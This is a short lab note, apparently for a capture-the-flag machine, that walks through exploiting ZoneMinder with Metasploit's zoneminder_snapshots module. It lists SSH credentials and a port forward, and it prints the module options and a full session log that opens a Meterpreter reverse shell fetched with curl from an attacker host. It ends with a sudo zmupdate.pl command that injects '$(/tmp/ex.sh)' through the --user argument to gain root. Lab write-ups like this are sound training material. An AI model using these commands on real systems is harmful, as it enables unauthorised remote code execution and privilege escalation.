ZoneMinder RCE and zmupdate.pl Root Escalation
Short lab note. An SSH port forward reaches ZoneMinder, the snapshots Metasploit module returns a shell, and sudo zmupdate.pl runs a script as root.
Summary
This is a terse field note rather than a full writeup, kept for the two commands that mattered on the target at 10.10.11.245. The credentials matthew:starcraft122490 are used to get onto the box and set up an SSH port forward for the service listening on 8080, which is a ZoneMinder instance not reachable directly. The Metasploit module exploit/unix/webapp/zoneminder_snapshots is then pointed at that forwarded port for remote code execution. Privilege escalation comes from zmupdate.pl, which the user may run with sudo: its –user argument ends up in a shell, so passing a command substitution that calls a script in /tmp executes it as root.
export IP=10.10.11.245
matthew:starcraft122490
ssh port forward 8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
msf6 exploit(unix/webapp/zoneminder_snapshots) > options
Module options (exploit/unix/webapp/zoneminder_snapshots):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:
port][...]
RHOSTS localhost yes The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is rando
mly generated)
TARGETURI / yes The ZoneMinder path
URIPATH no The URI to use for this exploit (default is random
)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Th
is must be an address on the local machine or 0.0.0.
0 to listen on all addresses.
SRVPORT 7331 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL,
FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execut
ion
FETCH_FILENAME UnQCgpAqatrc no Name to use on remote system when storing
payload; cannot contain spaces.
FETCH_SRVHOST 10.10.14.13 no Local IP to use for serving payload
FETCH_SRVPORT 1337 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; can
not contain spaces.
LHOST 10.10.14.13 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 nix Command
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/zoneminder_snapshots) > set 0.0.0.0 10.10.14.13
[!] Unknown datastore option: 0.0.0.0.
0.0.0.0 => 10.10.14.13
msf6 exploit(unix/webapp/zoneminder_snapshots) > set SRVHOST 10.10.14.13
SRVHOST => 10.10.14.13
msf6 exploit(unix/webapp/zoneminder_snapshots) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(unix/webapp/zoneminder_snapshots) > run
[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Elapsed time: 12.399620276999485 seconds.
[+] The target is vulnerable.
[*] Fetching CSRF Token
[+] Got Token: key:36d26165e7826120a5a67f742ba5806a449ce722,1702249287
[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (3045380 bytes) to 10.10.11.245
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.11.245:38064) at 2023-12-10 18:01:21 -0500
[+] Payload sent
meterpreter >
meterpreter > id
[-] Unknown command: id
meterpreter > getuid
Server username: zoneminder
sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/ex.sh)' --pass=ZoneMinderPassword202